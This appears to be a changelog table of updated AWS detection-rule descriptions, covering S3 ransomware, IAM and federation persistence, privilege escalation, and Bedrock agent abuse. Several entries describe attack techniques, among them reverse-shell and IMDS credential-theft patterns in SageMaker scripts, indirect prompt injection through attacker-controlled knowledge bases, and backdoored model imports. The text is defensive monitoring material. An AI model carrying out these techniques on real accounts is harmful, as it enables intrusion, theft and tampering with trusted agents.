+ +|<> | Identifies potential ransomware note being uploaded to an AWS S3 bucket. This rule detects the PutObject S3 API call with an object name commonly associated with ransomware notes. The keywords detected here rarely overlap with common file names and have been attributed to ransomware notes with high-confidence. Adversaries with access to a misconfigured S3 bucket may retrieve, delete, and replace objects with ransom notes to extort victims. | update | 14 + +|<> | Identifies a high-volume of AWS S3 objects stored in a bucket using using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a Threshold rule that triggers when this behavior is observed multiple times for a specific bucket in a short time-window. | update | 8 + +|<> | Detects when MFA Delete is disabled on an Amazon S3 bucket. MFA Delete is an additional layer of security for versioned S3 buckets that requires multi-factor authentication to permanently delete object versions or disable versioning. When MFA Delete is disabled, an adversary with S3 write access and a compromised long-term access key can permanently delete object versions, a critical step in ransomware attacks that target S3 versioning as a backup mechanism. MFA Delete is configured via PutBucketVersioning with the MfaDelete parameter set to Disabled. | update | 2 + +|<> | Identifies use of the S3 CopyObject API where the destination object is encrypted using an AWS KMS key from an external AWS account. This behavior may indicate ransomware-style impact activity where an adversary with access to a misconfigured S3 bucket encrypts objects using a KMS key they control, preventing the bucket owner from decrypting their own data. This technique is a critical early signal of destructive intent or cross-account misuse. | update | 14 + +|<> | Identifies when object versioning is suspended for an Amazon S3 bucket. Object versioning allows for multiple versions of an object to exist in the same bucket. This allows for easy recovery of deleted or overwritten objects. When object versioning is suspended for a bucket, it could indicate an adversary's attempt to inhibit system recovery following malicious activity. Additionally, when versioning is suspended, buckets can then be deleted. | update | 10 + +|<> | This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. | update | 11 + +|<> | Identifies when AWS S3 objects stored in a bucket are encrypted using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a New Terms rule that flags when this behavior is observed for the first time user and target bucket name. | update | 10 + +|<> | Detects successful `AssumeRoleWithWebIdentity` where the caller identity is a Kubernetes service account and the source autonomous system organization is present but not `Amazon.com, Inc.` EKS workloads that obtain IAM credentials via IAM Roles for Service Accounts (IRSA) normally reach STS from AWS-managed or AWS-associated networks; the same identity from a clearly external ASN can indicate a stolen or misused projected service-account token being exchanged for IAM credentials off-cluster. | update | 4 + +|<> | Surfaces an AWS identity whose successful API traffic is dominated by a small set of large cloud-provider source AS organization labels, yet also shows a very small share of traffic from other AS organization names—including at least one sensitive control-plane, credential, storage, or model-invocation action on that uncommon network path with recent activity from the uncommon path. The intent is to highlight disproportionate “baseline” cloud egress versus sparse use from rarer networks on the same principal, a shape that can appear when automation or CI credentials are reused or pivoted outside their usual hosted-cloud footprint. | update | 2 + +|<> | Identifies an IAM user that successfully signs in to the AWS Management Console from two or more distinct countries within a short window. A single user authenticating from multiple geographic locations in a brief period is physically implausible and indicates that the account's credentials or console session are being used from more than one place at once. This is a hallmark of adversary-in-the-middle (AiTM) phishing and session theft, where the legitimate user signs in from their location while the attacker replays the captured session or credentials from their own infrastructure. Because the attacker logs in from a different network, the divergent sign-in geolocations are the detectable signal even when MFA appears satisfied (AiTM relays the live MFA challenge). This is the CloudTrail-native analog of identity-provider impossible-travel sign-in detections. | update | 3 + +|<> | Identifies a successful login to the AWS Management Console by the Root user. | update | 215 + +|<> | Detects AWS access keys that are used from both GitHub Actions CI/CD infrastructure and non-CI/CD infrastructure. This pattern indicates potential credential theft where an attacker who has stolen AWS credentials configured as GitHub Actions secrets and is using them from their own infrastructure. | update | 2 + +|<> | Identifies the first observed occurrence, within the configured New Terms history window, of a regular IAM user successfully signing in to the AWS Management Console without multi-factor authentication. A password alone is a weaker control than password-plus-MFA, and an adversary who has phished, guessed, or otherwise obtained a user's password can sign in directly if MFA is not enforced for that user. This rule is scoped to standard IAM users only; it excludes the AWS root user (covered by a dedicated rule) and federated/SSO sign-ins (covered by a dedicated rule that also accounts for IdP-side MFA), since MFAUsed: No is expected in both of those cases for reasons unrelated to this gap. | update | 2 + +|<> | Identifies a password recovery request for the AWS account root user. In AWS, the PasswordRecoveryRequested event from signin.amazonaws.com applies to the root user’s “Forgot your password?” flow. Other identity types, like IAM and federated users, do not generate this event. This alert indicates that someone initiated the root password reset workflow for this account. Verify whether this was an expected action and review identity provider notifications/email to confirm legitimacy. | update | 214 + +|<> | Identifies when a federated user logs into the AWS Management Console. Federated users are typically given temporary credentials to access AWS services. If a federated user logs into the AWS Management Console without using MFA, it may indicate a security risk, as MFA adds an additional layer of security to the authentication process. However, CloudTrail does not record whether a Federated User utilized MFA as part of authentication — that MFA decision often occurs at a third-party IdP (e.g., Okta, Azure AD, Google). As a result, CloudTrail fields such as MFAUsed / mfaAuthenticated appear as “No/false” for federated console logins even if IdP MFA was required. This alert should be correlated with IdP authentication logs to verify whether MFA was enforced for the session. Increase priority if you find a related "GetSigninToken" event whose source IP / ASN / geo or user-agent differs from the subsequent "ConsoleLogin" (possible token relay/abuse). Same-IP/UA pairs within a short window are more consistent with expected operator behavior and can be triaged with lower severity. | update | 8 + +|<> | Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (`distrib#kali`), and clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or security tooling operating outside approved scope. | update | 8 + +|<> | Identifies the first occurrence of an AWS user or role establishing a session via SSM to an EC2 instance. Adversaries may use AWS Session Manager to establish a session to an EC2 instance to execute commands on the instance. This can be used to gain access to the instance and perform actions such as privilege escalation. | update | 8 + +|<> | Identifies when a new SSH public key is uploaded to an AWS EC2 instance using the EC2 Instance Connect service. This action could indicate an adversary attempting to maintain access to the instance. The rule detects the SendSerialConsoleSSHPublicKey or SendSSHPublicKey API actions, which are logged when manually uploading an SSH key to an EC2 instance or serial connection. It is important to know that this API call happens automatically by the EC2 Instance Connect service when a user connects to an EC2 instance using the EC2 Instance Connect service via the CLI or AWS Management Console. | update | 11 + +|<> | Detects successful AWS Management Console or federation login activity performed using an EC2 instance’s assumed role credentials. EC2 instances typically use temporary credentials to make API calls, not to authenticate interactively via the console. A successful "ConsoleLogin" or "GetSigninToken" event using a session pattern that includes "i-" (the EC2 instance ID) is highly anomalous and may indicate that an adversary obtained the instance’s temporary credentials from the instance metadata service (IMDS) and used them to access the console. Such activity can enable lateral movement, privilege escalation, or persistence within the AWS account. | update | 9 + +|<> | Detects when credentials issued through `AssumeRoleWithWebIdentity` for a Kubernetes service account identity are later used for several distinct AWS control-plane actions on the same session access key. Workloads that use EKS IAM Roles for Service Accounts routinely exchange a projected service-account token for short-lived IAM credentials; this rule highlights sessions where that exchange is followed by a spread of sensitive APIs—reconnaissance, secrets and parameter access, IAM changes, or compute creation—beyond what routine pod traffic usually shows. High-volume S3 object reads and writes are excluded from the correlation set to reduce noise from normal data-plane work. | update | 3 + +|<> | Identifies when an SNS topic message is published by a rare user in AWS. Adversaries may publish messages to SNS topics for phishing campaigns, data exfiltration, or lateral movement within the AWS environment. SNS topics are used to send notifications and messages to subscribed endpoints such as applications, mobile devices or email addresses, making them a valuable target for adversaries to distribute malicious content or exfiltrate sensitive data. This is a New Terms rule that only flags when this behavior is observed for the first time by a user or role. | update | 8 + +|<> | A machine learning job detected a significant spike in the rate of a particular error in the CloudTrail messages. Spikes in error messages may accompany attempts at privilege escalation, lateral movement, or discovery. | update | 213 + +|<> | A machine learning job detected an unusual error in a CloudTrail message. These can be byproducts of attempted or successful persistence, privilege escalation, defense evasion, discovery, lateral movement, or collection. | update | 213 + +|<> | A machine learning job detected AWS command activity that, while not inherently suspicious or abnormal, is sourcing from a geolocation (city) that is unusual for the command. This can be the result of compromised credentials or keys being used by a threat actor in a different geography than the authorized user(s). | update | 214 + +|<> | A machine learning job detected AWS command activity that, while not inherently suspicious or abnormal, is sourcing from a geolocation (country) that is unusual for the command. This can be the result of compromised credentials or keys being used by a threat actor in a different geography than the authorized user(s). | update | 213 + +|<> | Identifies AWS Bedrock Agent creation performed directly by an IAM user or the root account. Bedrock Agents are autonomous AI systems that execute multi-step tasks, invoke Lambda action groups to call external APIs, and query knowledge bases. Adversaries with access to an AWS account can create rogue agents configured to exfiltrate data via action group Lambda functions, pivot to other services, or act as a persistent AI-driven command-and-control channel. This rule is scoped to IAMUser and Root identity types — AssumedRole sessions (which represent automated CI/CD pipelines and SSO-federated engineers) are excluded to avoid global false positives from legitimate deployment automation that varies widely across customer environments. | update | 2 + +|<> | Detects modification of deployed Amazon Bedrock agents and their action groups, collaborators, or aliases via the Bedrock Agent control plane. Adversaries with access to an AWS account can tamper with an existing, trusted agent by altering its instructions (UpdateAgent), adding or changing action groups that wire the agent to Lambda functions or APIs (CreateAgentActionGroup, UpdateAgentActionGroup), attaching or modifying collaborators (AssociateAgentCollaborator, UpdateAgentCollaborator), or repointing an alias to a tampered version (CreateAgentAlias, UpdateAgentAlias). A PrepareAgent call is required to make a tampered configuration live. By implanting malicious behavior into an agent that legitimate users continue to invoke, an attacker can maintain durable access through a trusted component. Creation of brand-new agents (CreateAgent) is intentionally excluded as lower-signal activity. | update | 2 + +|<> | Identifies failed, access-denied attempts to enable account-level access to an Amazon Bedrock foundation model, either by granting a foundation-model entitlement, submitting a use case for model access, or creating a foundation-model agreement (accepting the EULA). These account-level "model access" actions unlock a foundation model so that it can subsequently be invoked. A principal that is repeatedly denied when attempting these actions may be a compromised or under-privileged identity probing for the ability to unlock expensive models (LLMjacking) or to establish a durable ability to invoke models. Unlike the companion rule that detects successful model-access grants, this rule surfaces the attempt itself, which is a high-signal indicator of credential boundary-testing even though access was not granted. | update | 2 + +|<> | Identifies when access to an Amazon Bedrock foundation model is enabled at the account level, either by granting a foundation-model entitlement, submitting a use case for model access, or creating a foundation-model agreement (accepting the EULA). These account-level "model access" actions unlock a foundation model so that it can subsequently be invoked. Adversaries or a compromised principal may enable model access to abuse expensive models (LLMjacking), to establish a durable ability to invoke models within the account, or to bypass organizational controls. This activity is distinct from changes to a resource-based model invocation policy and is identified by the Bedrock control-plane API calls that grant model entitlements and agreements. | update | 2 + +|<> | Detects failed, access-denied attempts to modify or delete resource-based access policies on AWS Bedrock resources via the PutResourcePolicy and DeleteResourcePolicy API calls. Resource-based policies govern which principals (including external accounts) may access Bedrock resources such as agents, knowledge bases, and custom models. A principal that is repeatedly denied when attempting to attach or remove these policies may be a compromised or under-privileged identity probing for the ability to grant external or cross-account access, or to weaken existing access controls. Unlike the companion rule that detects successful changes, this rule surfaces the attempt itself, which is a high-signal indicator of credential boundary-testing even though no change occurred. | update | 2 + +|<> | Detects modification or deletion of resource-based access policies on AWS Bedrock resources via the PutResourcePolicy and DeleteResourcePolicy API calls. Resource-based policies govern which principals (including external accounts) may access Bedrock resources such as agents, knowledge bases, and custom models. An adversary may attach a resource policy granting an external or unexpected principal access to a Bedrock resource to establish persistence or enable cross-account access, or may delete an existing policy to weaken access controls. These changes should be validated for principal ownership and least-privilege intent. | update | 2 + +|<> | Detects when an Amazon Bedrock agent is associated with, or updated to use, a knowledge base via the AssociateAgentKnowledgeBase, or UpdateAgentKnowledgeBase API actions. Bedrock agents consume knowledge base (RAG) content as trusted context for the model. By wiring an agent to an externally controlled or third-party knowledge base, or by swapping in an attacker-controlled knowledge base, an adversary can redraw the agent's trust boundary toward an untrusted source. This is a software-supply-chain compromise and an indirect prompt-injection delivery vector: poisoned or adversarial content served from the associated knowledge base is treated as authoritative by the agent. Validate that the associated knowledge base, and any underlying data source, is owned and controlled by your organization. | update | 2 + +|<> | Detects when an AWS Bedrock custom model is imported or deployed, or when a marketplace model endpoint is created or registered, via the CreateModelImportJob, CreateCustomModelDeployment, CreateMarketplaceModelEndpoint, or RegisterMarketplaceModelEndpoint API calls. These actions introduce a model artifact from outside the organization's trusted training and approval pipeline. A backdoored, poisoned, or attacker-supplied model that downstream applications subsequently invoke represents a software supply-chain compromise. New model imports and marketplace endpoint registrations should be validated for artifact provenance (S3 source ownership), the registering identity, and whether the model originates from an approved internal pipeline. | update | 2 + +|<> | Identifies the creation of an AWS EC2 network access control list (ACL) or an entry in a network ACL with a specified rule number. Adversaries may exploit ACLs to establish persistence or exfiltrate data by creating permissive rules. | update | 215 + +|<> | Identifies AWS CloudTrail events where an EC2 route table or association has been modified or deleted. Route table or association modifications can be used by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. This is a New Terms rule that detects the first instance of this behavior by a user or role. | update | 214 + +|<> | Identifies a change to an AWS Security Group Configuration. A security group is like a virtual firewall, and modifying configurations may allow unauthorized access. Threat actors may abuse this to establish persistence, exfiltrate data, or pivot in an AWS environment. | update | 216 + +|<> | Detects the creation of an Amazon EKS access entry followed by its deletion by the same identity within a short time window. EKS access entries define Kubernetes RBAC-level permissions for IAM principals in an EKS cluster. An adversary with EKS administrative access may temporarily grant themselves cluster access, use those permissions to create Kubernetes RBAC resources (ClusterRoleBindings, ServiceAccounts with privileged roles), and then delete the access entry to hide the evidence of the initial grant while retaining access through the Kubernetes-level backdoor. | update | 2 + +|<> | Detects successful Amazon EKS Access Entries API operations that create, update, attach, detach, or delete authentication mappings between IAM principals and the cluster. Changes to access entries alter who can authenticate to Kubernetes and what Kubernetes-level permissions they receive, without requiring edits to in-cluster RBAC objects. Unexpected callers or timing may indicate persistence or privilege abuse. Common automation identities (service-linked roles, eksctl, Terraform, CloudFormation role patterns) are excluded to reduce noise; tune further for your deployment pipelines. | update | 2 + +|<> | Identifies creation of a console login profile for the AWS account root user. While CreateLoginProfile normally applies to IAM users, when performed from a temporary root session (e.g., via AssumeRoot) and the userName parameter is omitted, the profile is created for the root principal (self-assigned). Adversaries with temporary root access may add or reset the root login profile to establish persistent console access even if original access keys are rotated or disabled. Correlate with recent AssumeRoot/STS activity and validate intent with the account owner. | update | 8 + +|<> | Detects the creation of an AWS Identity and Access Management (IAM) user initiated by an assumed role on an EC2 instance. Assumed roles allow users or services to temporarily adopt different AWS permissions, but the creation of IAM users through these roles, particularly from within EC2 instances, may indicate a compromised instance. Adversaries might exploit such permissions to establish persistence by creating new IAM users under unauthorized conditions. | update | 8 + +|<> | Identifies the creation of a group in AWS Identity and Access Management (IAM). Groups specify permissions for multiple users. Any user in a group automatically has the permissions that are assigned to the group. Adversaries who obtain credentials with IAM write privileges may create a new group as a foothold for persistence: they can later attach admin-level policies to the group and quietly add users or roles to inherit those privileges. | update | 213 + +|<> | Identifies creation or modification of a console login profile for an AWS IAM user via CreateLoginProfile or UpdateLoginProfile. A login profile enables password-based console sign-in for an IAM user. Adversaries who obtain programmatic credentials may create a login profile to add persistent interactive console access, or update an existing profile to reset another user's password and take over the account, even after the original access keys are rotated. Because console access for IAM users is increasingly provisioned through federation or IAM Identity Center, direct use of these APIs by an unexpected principal warrants review. This rule targets IAM users (the userName parameter is present); creation of a login profile for the account root user is covered by a separate rule. | update | 2 + +|<> | Detects when an uncommon user or role creates an OpenID Connect (OIDC) Identity Provider in AWS IAM. OIDC providers enable web identity federation, allowing users authenticated by external identity providers (such as Google, GitHub, or custom OIDC-compliant providers) to assume IAM roles and access AWS resources. Adversaries who have gained administrative access may create rogue OIDC providers to establish persistent, federated access that survives credential rotation. This technique allows attackers to assume roles using tokens from an IdP they control. While OIDC provider creation is benign in some environments, it should still be validated against authorized infrastructure changes. | update | 6 + +|<> | Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations. | update | 11 + +|<> | Detects the creation of an AWS IAM Roles Anywhere Trust Anchor that uses an external certificate authority (CA) rather than an AWS-managed Certificate Manager Private CA (ACM PCA). While Roles Anywhere enables secure, short-term credential issuance for workloads outside AWS, adversaries can exploit this feature by registering their own external CA as a trusted root. This allows them to generate valid client certificates that persistently authenticate to AWS roles from any location, even after key rotation or credential revocation events. This rule helps detect persistence or unauthorized federation attempts by flagging trust anchors configured with non-AWS CAs. | update | 10 + +|<> | Detects the creation of a new SAML Identity Provider (IdP) in AWS IAM. SAML providers enable federated authentication between AWS and external identity providers, allowing users to access AWS resources using credentials from the external IdP. Adversaries who have gained administrative access may create rogue SAML providers to establish persistent, federated access to AWS accounts that survives credential rotation. This technique allows attackers to assume roles and access resources by forging SAML assertions from an IdP they control. Creating a SAML provider is a rare administrative action that should be closely monitored and validated against authorized infrastructure changes. | update | 5 + +|<> | Detects the first occurrence in 7 days of an AWS identity attaching the managed policy AmazonSESFullAccess to an IAM user, role, or group. AmazonSESFullAccess grants unrestricted permission to send email, manage identities and templates, manage suppression lists, and access SES account-level settings. Granting this policy to an unexpected IAM entity, particularly a newly created user or a role not previously associated with email operations, is a documented technique used by threat actors to establish phishing infrastructure on compromised AWS accounts, enabling them to send email on behalf of the victim organization's trusted sending domain. Using new terms on the calling identity suppresses recurring attachments by known email automation while surfacing identities performing this action for the first time. | update | 2 + +|<> | An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user. | update | 16 + +|<> | Detects an AWS IAM user using an existing credential to create a new access key for itself and subsequently using the new key within one hour. This behavior can indicate an adversary converting compromised credentials into an additional long-term credential for persistence. Unlike a standalone self-service key creation alert, requiring subsequent use of the new key reduces noise from unused or abandoned credential-rotation operations. | update | 2 + +|<> | Identifies when an AWS Lambda function policy is updated to allow public invocation. This rule detects use of the AddPermission API where the Principal is set to "*", enabling any AWS account to invoke the function. Adversaries may abuse this configuration to establish persistence, create a covert execution path, or operate a function as an unauthenticated backdoor. Public invocation is rarely required outside very specific workloads and should be considered high-risk when performed unexpectedly. | update | 11 + +|<> | Identifies a change to an AWS Lambda function resource policy that grants invoke permissions to an AWS account principal. Using AddPermission, an adversary can authorize a principal in another account to call a function, creating a cross-account backdoor for execution or for relaying data to attacker-controlled infrastructure without modifying the function's code. This rule excludes public grants (principal set to "*"), which are covered by a separate rule, and grants to AWS service principals, which are common for legitimate event triggers. | update | 2 + +|<> | Identifies the creation of an AWS Lambda event source mapping, which connects an event source such as an Amazon SQS queue, an Amazon Kinesis or DynamoDB stream, an Amazon MSK or self-managed Apache Kafka topic, or an Amazon MQ broker to a Lambda function so the function is automatically invoked when new records arrive. Adversaries with "lambda:CreateEventSourceMapping" permissions can abuse this to establish stealthy, event-driven persistence and execution, or to continuously siphon records from a stream or queue into attacker-controlled function code. Because the function then runs on its own whenever the source produces events, this grants durable execution without any further interactive activity by the adversary. | update | 2 + +|<> | Identifies the creation or update of an AWS Lambda function URL configured with an authentication type of NONE, which exposes the function to unauthenticated invocation directly from the public internet. Adversaries can use a public function URL to establish a durable, internet-reachable entry point for command and control, data egress, or on-demand execution of attacker-controlled code, bypassing the need for valid AWS credentials to invoke the function. Function URLs with public access should be rare and deliberate, so this configuration warrants review. | update | 4 + +|<> | Identifies the first time a given IAM principal successfully creates an EC2 key pair when the request is sourced from a network whose autonomous system organization is not attributed to common cloud or hyperscaler providers in your GeoIP data. Adversaries may call CreateKeyPair to stage SSH access material before launching or accessing instances. A new terms baseline on `user_identity.arn` suppresses repeated noise from the same principal while still surfacing the initial suspicious creation from an unusual egress label. | update | 3 + +|<> | Detects when an AWS member account is registered as a delegated administrator for an AWS service via the RegisterDelegatedAdministrator API. Delegated administrators receive service-level administrative access across the entire organization without being the management account. An attacker who compromises a principal with organizations permissions can abuse overly permissive managed policies to register a member account they control as a delegated administrator, then use that privileged access to escalate privileges organization-wide and compromise all member accounts. | update | 2 + +|<> | Identifies the modification of the master password for an AWS RDS DB instance or cluster. Changing the master password is a legitimate recovery action when access is lost, but adversaries with sufficient permissions may modify it to regain access, establish persistence, bypass existing controls, or escalate privileges within a compromised environment. Because RDS does not expose the password in API responses, this operation can meaningfully alter access pathways to sensitive data stores. | update | 10 + +|<> | Identifies the creation or modification of an Amazon RDS DB instance or cluster where the "publiclyAccessible" attribute is set to "true". Publicly accessible RDS instances expose a network endpoint on the public internet, which may allow unauthorized access if combined with overly permissive security groups, weak authentication, or misconfigured IAM policies. Adversaries may enable public access on an existing instance, or create a new publicly accessible instance, to establish persistence, move data outside of controlled network boundaries, or bypass internal access controls. | update | 11 + +|<> | Identifies when the transfer lock on an AWS Route 53 domain is disabled. The transfer lock protects domains from being moved to another registrar or AWS account without authorization. Disabling this lock removes an important safeguard against domain hijacking. Adversaries who gain access to domain-management permissions may disable the lock as a precursor to unauthorized domain transfer, takeover, or service disruption. | update | 214 + +|<> | Identifies when an AWS Route 53 domain is transferred to another AWS account. Transferring a domain changes administrative control of the DNS namespace, enabling the receiving account to modify DNS records, route traffic, request certificates, and potentially hijack operational workloads. Adversaries who gain access to privileged IAM users or long-lived credentials may leverage domain transfers to establish persistence, redirect traffic, conduct phishing, or stage infrastructure for broader attacks. This rule detects successful domain transfer requests. | update | 213 + +|<> | Identifies when an AWS Route 53 private hosted zone is associated with a new Virtual Private Cloud (VPC). Private hosted zones restrict DNS resolution to specific VPCs, and associating additional VPCs expands the scope of what networks can resolve internal DNS records. Adversaries with sufficient permissions may associate unauthorized VPCs to intercept, observe, or reroute internal traffic, establish persistence, or expand their visibility within an AWS environment. | update | 215 + +|<> | Identifies when an EC2 Route Table has been created. Route tables can be used by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. This is a New Terms rule that detects the first instance of this behavior by a user or role. | update | 216 + +|<> | Identifies an Amazon SageMaker notebook lifecycle configuration whose OnStart or OnCreate script, after base64 decoding, contains patterns associated with malicious activity such as reverse shells, EC2 instance metadata (IMDS) credential access, or download-and-execute commands. A lifecycle configuration runs as root on the notebook instance, so a script with these patterns is a strong indicator of an attempt to backdoor the notebook, steal the execution role's credentials, or establish persistent code execution. This rule decodes the script in the request and matches high-signal indicators; it is a higher-fidelity companion to the rule that alerts on any lifecycle configuration change. | update | 2 + +|<> | Identifies sensitive AWS IAM operations performed via AWS CloudShell based on the user agent string. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. While convenient for administrators, CloudShell access from compromised console sessions can enable attackers to perform privileged operations without installing tools or using programmatic credentials. This rule detects high-risk actions such as creating IAM users, access keys, roles, or attaching policies when initiated from CloudShell, which may indicate post-compromise credential harvesting or privilege escalation activity. | update | 5 + +|<> | Identifies when a user has assumed a role using a new MFA device. Users can assume a role to obtain temporary credentials and access AWS resources using the AssumeRole API of AWS Security Token Service (STS). While a new MFA device is not always indicative of malicious behavior it should be verified as adversaries can use this technique for persistence and privilege escalation. | update | 9 + +|<> | Identifies an Amazon Bedrock AgentCore execution role (an AssumedRole identity whose role name begins with "AgentCore-" or contains "BedrockAgentCore") making an AWS API call to a service it has not previously called. AgentCore runtimes normally interact only with Bedrock inference, AgentCore data-plane, and observability services (CloudWatch Logs, X-Ray, CloudWatch metrics), so an execution role suddenly calling STS, EC2, IAM, Secrets Manager, or other services is a strong indicator that the role's temporary credentials were exfiltrated from the agent's microVM (for example, via the Code Interpreter instance-metadata-service credential theft) and are being used outside the runtime for reconnaissance, privilege escalation, or lateral movement. Because the stolen credentials are recorded in CloudTrail under the execution role's own identity, the anomalous service usage, not the identity, is the detectable signal. | update | 2 + +|<> | Detects the creation of an AWS Bedrock AgentCore resource (code interpreter, agent runtime, browser, or harness) with an IAM execution role attached. When an attacker with iam:PassRole permission creates an AgentCore resource and attaches a privileged role, subsequent invocations inside that resource execute as the attached role — enabling privilege escalation to roles that trust bedrock-agentcore.amazonaws.com. | update | 2 + +|<> | Identifies an Amazon Bedrock API key phantom user (an IAM user whose name starts with "BedrockAPIKey-") acting as the caller of a non-Bedrock API request, such as IAM, STS, EC2, VPC, or KMS calls. These users are provisioned by AWS to back a Bedrock bearer token and carry the AmazonBedrockLimitedAccess managed policy, which also grants IAM, VPC, and KMS reconnaissance. A phantom user performing activity outside of Bedrock indicates its credentials are being used beyond their intended scope, which is the privilege-escalation path realized: an attacker who created standard IAM access keys for the phantom user is now using them for reconnaissance or lateral movement outside the Bedrock authentication boundary. | update | 2 + +|<> | Identifies standard IAM credentials being added to an Amazon Bedrock API key phantom user, whose user name starts with "BedrockAPIKey-": either a long-term access key (CreateAccessKey) or a console password / login profile (CreateLoginProfile, UpdateLoginProfile). When a long-term Bedrock API key is generated through the AWS Console, AWS silently provisions a "BedrockAPIKey-" IAM user with the AmazonBedrockLimitedAccess managed policy. That user is intended only to back a Bedrock bearer token and should never hold standard programmatic keys or interactive console access. Adding either converts a Bedrock-scoped identity into general-purpose IAM credentials that inherit the policy's Bedrock control-plane and IAM, VPC, and KMS reconnaissance permissions and that persist after the Bedrock API key is revoked. This is the privilege-escalation and persistence pivot documented for Bedrock API key phantom users, and there is no legitimate workflow that produces it. | update | 2 + +|<> | Identifies when an IAM instance profile is associated with a running EC2 instance or replaces the existing association. These APIs change which role credentials the instance obtains via the instance metadata service without terminating the instance. Attackers who can call `AssociateIamInstanceProfile` or `ReplaceIamInstanceProfile` may attach a more privileged role to a workload they control, enabling privilege escalation or lateral movement from the instance. | update | 2 + +|<> | Detects when the AmazonEKSClusterAdminPolicy or AmazonEKSAdminPolicy is associated with a principal via the EKS Access Entries API. This grants full cluster-admin equivalent access to the specified IAM user or role. Unlike the legacy aws-auth ConfigMap which is only visible in Kubernetes audit logs, Access Entries modifications appear in CloudTrail, providing an additional detection surface. Attackers who have obtained IAM permissions to manage EKS access entries can use this API to backdoor cluster access for persistence, mapping attacker-controlled IAM identities to cluster-admin privileges without modifying any Kubernetes resources. | update | 2 + +|<> | An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to user groups the compromised user account belongs to. This rule looks for use of the IAM AttachGroupPolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM user group. | update | 10 + +|<> | An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised IAM roles. This rule looks for use of the IAM AttachRolePolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM role. | update | 10 + +|<> | An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised user accounts. This rule looks for use of the IAM AttachUserPolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM user. | update | 12 + +|<> | Identifies successful IAM API calls that create a new customer managed policy version or set the default version for an existing customer managed policy. Attackers with `iam:CreatePolicyVersion` or `iam:SetDefaultPolicyVersion` on a privileged policy can introduce a permissive policy document and activate it, escalating effective permissions without attaching a new policy. These APIs are high impact when the target policy is attached to powerful roles or users. | update | 3 + +|<> | Identifies an inline policy added to an IAM group via PutGroupPolicy. An inline policy attached to a group grants its permissions to every current and future member of that group. Adversaries can abuse this to escalate privileges (grant elevated permissions to a group they belong to, or will add themselves to) and to establish persistence through a durable, membership-based grant that is easy to overlook. Group inline policies are uncommon compared to managed-policy attachments, so their creation by an unexpected principal warrants review. | update | 2 + +|<> | Identifies the modification or removal of an IAM permissions boundary on an IAM user or role. A permissions boundary caps the maximum permissions an identity can have, regardless of its attached identity policies. An adversary who can delete a boundary ("DeleteUserPermissionsBoundary", "DeleteRolePermissionsBoundary") or replace it with a more permissive one ("PutUserPermissionsBoundary", "PutRolePermissionsBoundary") can lift that cap and unlock permissions the identity's policies already grant, enabling privilege escalation. Boundary changes are infrequent and usually performed by a small set of administrators or infrastructure-as-code pipelines, so changes by unexpected principals warrant review. | update | 2 + +|<> | Detects successful IAM API calls that create or empower IAM users and roles, attach or embed policies, or wire roles to instance profiles when the caller is an assumed role session associated with AWS Lambda. Serverless execution roles are often over-permissioned; an adversary who can run or compromise function code can abuse these APIs for privilege escalation and persistence—for example creating users or roles, issuing keys, attaching managed or inline policies, or preparing EC2 instance profiles for lateral movement. | update | 2 + +|<> | Detects when an AWS IAM SAML provider is updated, which manages federated authentication between AWS and external identity providers (IdPs). Adversaries with administrative access may modify a SAML provider’s metadata or certificate to redirect authentication flows, enable unauthorized federation, or escalate privileges through identity trust manipulation. Because SAML providers underpin single sign-on (SSO) access for users and applications, unauthorized modifications may allow persistent or covert access even after credentials are revoked. Monitoring "UpdateSAMLProvider" API activity is critical to detect potential compromise of federated trust relationships. | update | 215 + +|<> | Identifies successful PutKeyPolicy calls on AWS KMS keys. The key policy is a resource-based policy that controls which principals can use the key for cryptographic operations and administration. Adversaries with "kms:PutKeyPolicy" may add or broaden principals (including external accounts) to decrypt or exfiltrate data protected by the key, or to preserve access after other credentials are rotated. This is distinct from disabling or scheduling deletion of the key. | update | 3 + +|<> | Identifies when a service has assumed a role in AWS Security Token Service (STS). Services can assume a role to obtain temporary credentials and access AWS resources. Adversaries can use this technique for credential access and privilege escalation. This is a New Terms rule that identifies when a service assumes a role in AWS Security Token Service (STS) to obtain temporary credentials and access AWS resources. While often legitimate, adversaries may use this technique for unauthorized access, privilege escalation, or lateral movement within an AWS environment. | update | 217 + +|<> | Identifies when a user or role has assumed a role in AWS Security Token Service (STS). Users can assume a role to obtain temporary credentials and access AWS resources. Adversaries can use this technique for credential access and privilege escalation. This is a New Terms rule that identifies when a user assumes a role in AWS Security Token Service (STS) to obtain temporary credentials and access AWS resources. While often legitimate, adversaries may use this technique for unauthorized access, privilege escalation, or lateral movement within an AWS environment. | update | 10 + +|<> | 